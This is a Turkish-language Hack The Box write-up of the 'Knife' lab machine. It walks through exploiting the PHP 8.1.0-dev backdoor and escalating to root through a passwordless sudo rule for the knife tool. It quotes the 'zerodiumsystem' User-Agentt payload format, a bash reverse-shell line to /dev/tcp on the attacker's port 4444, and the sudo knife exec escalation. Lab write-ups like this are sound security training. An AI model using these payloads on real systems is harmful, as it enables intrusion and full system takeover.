Hack The Box — Knife Write-up | PHP 8.1.0-dev Backdoor ve Privilege Escalation

Bugün sizlerle Hack The Box platformunda çözmeye başladığım Knife makinesini ve çözüm sırasında karşılaştığım bazı sorunları paylaşmak istiyorum.
Knife, Linux tabanlı ve Easy seviyesinde bir makine. Ancak kolay olarak sınıflandırılması, öğretecek çok fazla şeyi olmadığı anlamına gelmiyor.
Bu makinede özellikle PHP 8.1.0-dev sürümünde bulunan bir backdoor üzerinden Remote Code Execution (RCE) gerçekleştirmeyi, elde ettiğimiz shell'in neden tam anlamıyla interaktif olmadığını ve Linux sistemlerde yanlış yapılandırılmış sudo yetkilerinin nasıl privilege escalation fırsatı oluşturabildiğini inceliyoruz.
Reconnaissance — Hedef Sistemi Tanıma
Bir makineyi çözmeye başlarken ilk adımımız hedef sistem hakkında bilgi toplamak. Bunun için rustscan ve nmap kullanabiliriz.

Burada kullandığımız parametreleri kısaca açıklamak istiyorum:
-sC: Nmap'in varsayılan NSE script'lerini çalıştırır.
-sV: Açık portlardaki servislerin sürümlerini tespit etmeye çalışır.
-p-: 1–65535 arasındaki bütün TCP portlarını tarar.
Knife makinesinde SSH (22) ve HTTP (80) servisleri bulunuyor.
Web servisini incelemek için tarayıcı üzerinden hedef IP adresine gidiyoruz:

Burada basit bir web sitesiyle karşılaşıyoruz. Sayfa üzerinde doğrudan dikkat çekici bir giriş alanı veya başka bir işlev bulunmuyor.
Ancak bazen önemli bilgiler web sayfasının kendisinde değil, sunucunun HTTP response header'larında bulunabiliyor.
Web sitesinin neler kullandığını görmek için whatweb kullanabiriz .

Burada önemli nokta dev ifadesi. Bu sürüm, PHP'nin geliştirme sürecine ait bir sürüm.
2021 yılında PHP kaynak kodu altyapısına yapılan bir saldırı sonucunda belirli geliştirme sürümlerine kötü amaçlı bir backdoor eklenmişti. Knife makinesindeki zafiyet de bu olayla ilişkili.
Bu nedenle tespit ettiğimiz sürüme yönelik bilinen exploit'leri araştırmaya başlıyoruz.
Küçük bir google araştırması ile versiyona ait exploiti bulabiliyoruz

Bulduğum 49933.py exploit'ini Kali Linux üzerinde çalıştırdım.

Hedef adresi girdikten sonra şu çıktıyı aldım:
Interactive shell is opened on http://10.129.82.154/
Can't acces tty; job crontol turned off.
$Bu çıktıyla birlikte hedef sistemde komut çalıştırabildiğimizi görüyoruz.
Burada Can't acces tty mesajı dikkatimi çekti. Çünkü exploit interaktif shell açtığını söylese de aslında tam anlamıyla bir terminal erişimi sağlamıyor.
Yine de sistem üzerinde komut çalıştırabildiğimiz için ilk erişim aşamasını tamamlamış olduk.
Sisteme eriştikten sonra ilk olarak hangi kullanıcıyla işlem yaptığımı kontrol ettim.
whoamijames
Ardından kullanıcının UID ve GID bilgilerini öğrenmek için:
idÇıktı:
uid=1000(james) gid=1000(james) groups=1000(james)Bu noktada sisteme james kullanıcısıyla eriştiğimizi doğruladık.
Daha sonra bulunduğum dizini kontrol ettim.

Ardından kullanıcının home dizinindeki dosyaları listeledim.
ls -la /home/jamesBurada dikkatimi çeken dosya:
-r-------- 1 james james 33 user.txtBu dosya Hack The Box'ın User Flag dosyasıydı.
İlgili dosyanın konumu:
/home/james/user.txtSisteme james kullanıcısıyla eriştikten sonra root yetkisine yükselmek için araştırmaya başladım.
Linux sistemlerde kontrol edilmesi gereken önemli komutlardan biri:

Bu komut mevcut kullanıcının hangi programları sudo yetkisiyle çalıştırabildiğini gösteriyor.
Burada önemli bir yapılandırmayla karşılaşıyoruz.
james kullanıcısı, /usr/bin/knife programını parola girmeden root yetkisiyle çalıştırabiliyor.
Knife Nedir?
Knife, Chef yapılandırma yönetimi altyapısında kullanılan bir komut satırı aracıdır.
Sunucu ve altyapı yönetimi işlemleri için tasarlanmıştır.
Ancak Knife aracının exec özelliği üzerinden Ruby kodu çalıştırılabiliyor.
Bu da programın root yetkisiyle çalıştırılmasına izin verilmişse güvenlik açısından önemli bir risk oluşturabiliyor.
Bu tür programların privilege escalation amacıyla nasıl kullanılabildiğini araştırmak için GTFOBins oldukça faydalı bir kaynak.
Sudo izinlerini tespit ettikten sonra Knife aracının Ruby kodu çalıştırma özelliğinden yararlanarak root shell açmayı denedim.
Kullandığım komut:
Komutu biraz inceleyelim.
sudo /usr/bin/knife ile Knife aracını root yetkisiyle çalıştırıyoruz.
exec -E parametreleri aracılığıyla Ruby kodu çalıştırabiliyoruz.
exec "/bin/bash" ise Ruby üzerinden Bash başlatmayı amaçlıyor.
Normal şartlarda doğru yetkiler ve uygun bir shell ortamında bu yöntemle root shell açılabilir.
Ancak benim ilk denememde işler beklediğim gibi gitmedi.
Aldığım çıktı:

Ardından root olup olmadığımı kontrol ettim.
whoamiÇıktı:
jamesYani root shell açılmamıştı.
Peki Neden Böyle Bir Hata Aldım?
Burada kullandığım ilk exploit'i tekrar incelemek gerekiyor.
49933.py, komutları bir HTTP isteği içerisindeki User-Agentt header'ına ekliyor.
Exploit'in ilgili kısmında PHP kodu şu şekilde oluşturuluyor:
"User-Agentt": "zerodiumsystem('" + cmd + "');"Bu oldukça önemli.
Çünkü yazdığımız komut, PHP tarafında tek tırnak içerisinde birleştiriliyor.
Benim kullandığım Knife komutunda da tek tırnak bulunuyordu:
'exec "/bin/bash"'Bu tırnaklar, exploit'in oluşturduğu PHP koduyla çakışabiliyor.
Ayrıca HTTP üzerinden çalışan bu arayüz, etkileşimli bir Bash oturumuyla aynı özelliklere sahip değil.
Dolayısıyla karşılaştığım hata, Knife aracındaki privilege escalation yönteminin çalışmadığını tek başına kanıtlamıyor.
Öncelikle shell erişimimizi daha uygun hale getirmemiz gerekiyor.
Mevcut HTTP tabanlı shell'in sınırlarını aşmak için kullanabileceğimiz yöntemlerden biri reverse shell.
Reverse shell mantığında, hedef makine bizim dinlediğimiz IP adresine bağlantı gönderiyor.
Böylece komutlarımızı HTTP üzerinden tek tek iletmek yerine doğrudan bir shell bağlantısı üzerinden çalıştırabiliyoruz.
İlk olarak Kali Linux üzerindeki VPN IP adresimizi öğreniyoruz.
ip -4 addr show tun0Benim HTB VPN IP adresim:
10.10.14.151/23Bağlantıda kullanacağımız adres:
10.10.14.151Ardından Kali Linux üzerinde yeni bir terminal açıp Netcat ile bağlantı dinliyoruz.

Burada 4444, bağlantı beklediğimiz port numarası.
Daha sonra 49933.py üzerinden elde ettiğimiz shell'e geri dönüp aşağıdaki komutu kullanabiliriz:
bash -c "bash -i >& /dev/tcp/10.10.14.151/4444 0>&1"Bu komut, hedef sistemin Kali Linux üzerindeki 4444 portuna bir Bash bağlantısı göndermesini amaçlıyor.
Bağlantı başarılı olduğunda Netcat terminalinde james kullanıcısına ait bir shell elde edebiliriz.
Burada küçük bir ayrıntı var: Reverse shell almak, otomatik olarak tam özellikli bir TTY elde etmek anlamına gelmiyor.
Gerekirse bağlantı üzerinde terminal iyileştirmesi gerçekleştirebiliriz.
Örneğin:
python3 -c 'import pty; pty.spawn("/bin/bash")'Bu komut, Python'ın pty modülünü kullanarak pseudo-terminal oluşturmayı dener.
Daha uygun bir shell bağlantısı oluşturduktan sonra tekrar sudo izinlerinden yararlanabiliriz.

Bu komut başarılı şekilde çalışırsa root yetkisiyle bir Bash oturumu başlatılabilir.
Yetkimizi doğrulamak için:
whoamiBeklenen çıktı:
rootArdından:
idBurada uid=0(root) görmemiz, root yetkisine sahip olduğumuzu doğrular.
Root erişiminden sonra hedef dosyamız:
/root/root.txtDosyayı okumak için:
cat /root/root.txtNot: Kendi çözümümde james kullanıcısına erişimi ve Knife üzerindeki sudo yetkisini doğruladım. İlk root shell denememde ise hata aldım. Bu bölümdeki reverse shell ve root erişimi adımları, söz konusu hatadan sonra uygulanabilecek çözüm yolunu gösteriyor. Root shell'in başarılı çıktısını henüz kendi terminalimde doğrulamadığım için bunu tamamlanmış bir işlem olarak göstermiyorum.
Bu Makineden Neler Öğrendim?
Knife makinesi benim için özellikle shell erişimi ve Linux kullanıcı yetkileri açısından öğretici oldu.
İlk olarak bir yazılımın sürüm bilgisinin ne kadar önemli olabileceğini gördüm. PHP 8.1.0-dev sürümünü araştırmam, doğrudan bilinen bir Remote Code Execution açığına ulaşmamı sağladı.
İkinci olarak, bir exploit üzerinden komut çalıştırabilmenin gerçek anlamda interaktif bir terminale sahip olmakla aynı şey olmadığını öğrendim.
Özellikle Knife komutunu çalıştırırken aldığım hata, kullandığım exploit'in komutları nasıl işlediğini tekrar incelememe neden oldu.
Son olarak sudo -l çıktısının ne kadar önemli olabileceğini gördüm. Sistem yönetimi için kullanılan bir aracın root yetkisiyle çalıştırılabilmesi, uygun kısıtlamalar bulunmadığında ciddi bir güvenlik riski oluşturabiliyor.
Bu çözümde üzerinde durduğum başlıca konular:
PHP 8.1.0-dev Backdoor
Remote Code Execution (RCE)
HTTP User-Agentt Header
Exploit Araştırması
Linux Kullanıcı ve Dosya İzinleri
Reverse Shell ve TTY
Sudo Misconfiguration
GTFOBins
Knife Üzerinden Privilege Escalation







